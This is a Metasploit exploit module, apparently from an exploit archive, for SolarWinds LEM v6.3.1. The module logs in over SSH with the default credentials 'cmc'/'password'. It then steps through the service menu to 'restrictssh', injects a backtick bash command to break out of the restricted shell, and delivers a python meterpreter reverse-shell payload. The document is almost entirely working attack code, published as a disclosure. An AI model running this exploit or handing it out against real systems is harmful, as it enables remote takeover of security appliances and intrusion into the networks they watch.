SolarWind LEM Default SSH Password Remote Code Execution

This Metasploit module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH service is accessed with the default username and password which is "cmc" and "password". By exploiting a vulnerability that exist on the menuing script, an attacker can escape from restricted shell. This Metasploit module was tested against SolarWinds LEM v6.3.1.


MD5 | b551077e34268bd111ec9232032426a6

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::SSH

def initialize(info={})
super(update_info(info,
'Name' => "SolarWind LEM Default SSH Password Remote Code Execution",
'Description' => %q{
This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH
service is accessed with the default username and password which is "cmc" and "password". By exploiting a
vulnerability that exist on the menuing script, an attacker can escape from restricted shell.

This module was tested against SolarWinds LEM v6.3.1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>', # discovery & msf module
],
'References' =>
[
['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/']
],
'DefaultOptions' =>
{
'Payload' => 'python/meterpreter/reverse_tcp',
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'Privileged' => false,
'DisclosureDate' => "Mar 17 2017",
'DefaultTarget' => 0
))

register_options(
[
Opt::RPORT(32022),
OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]),
OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]),
]
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end

def rhost
datastore['RHOST']
end

def rport
datastore['RPORT']
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def exploit
factory = ssh_socket_factory
opts = {
:auth_methods => ['keyboard-interactive'],
:port => rport,
:use_agent => false,
:config => false,
:password => password,
:proxy => factory,
:non_interactive => true
}

opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

print_status("#{rhost}:#{rport} - Attempting to login...")

begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, username, opts)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end

if ssh
payload_executed = false
print_good("SSH connection is established.")

ssh.open_channel do |channel|
print_status("Requesting pty... We need it in order to interact with menuing system.")

channel.request_pty do |ch, success|
raise ::RuntimeError, "Could not request pty!" unless success
print_good("Pty successfully obtained.")

print_status("Requesting a shell.")
ch.send_channel_request("shell") do |ch, success|
raise ::RuntimeError, "Could not open shell!" unless success
print_good("Remote shell successfully obtained.")
end
end

channel.on_data do |ch, data|
if data.include? "cmc "
print_good("Step 1 is done. Managed to access terminal menu.")
channel.send_data("service\n")
end

if data.include? "service "
print_good("Step 2 is done. Managed to select 'service' sub menu.")
channel.send_data("restrictssh\n")
end

if data.include? "Press <enter> to configure restriction on the SSH service to the Manager Appliance"
print_good("Step 3 is done. Managed to start 'restrictssh' function.")
channel.send_data("*#`bash>&2`\n")
end

if data.include? "Are the hosts"
print_good("Step 4 is done. We are going to try escape from jail shell.")
channel.send_data("Y\n")
end

if data.include? "/usr/local/contego"
if payload_executed == false
print_good("Sweet..! Escaped from jail.")
print_status("Delivering payload...")
channel.send_data("python -c \"#{payload.encoded}\"\n")
payload_executed = true
end
end

end
end
begin
ssh.loop unless session_created?
rescue Errno::EBADF => e
elog(e.message)
end
end
end

end

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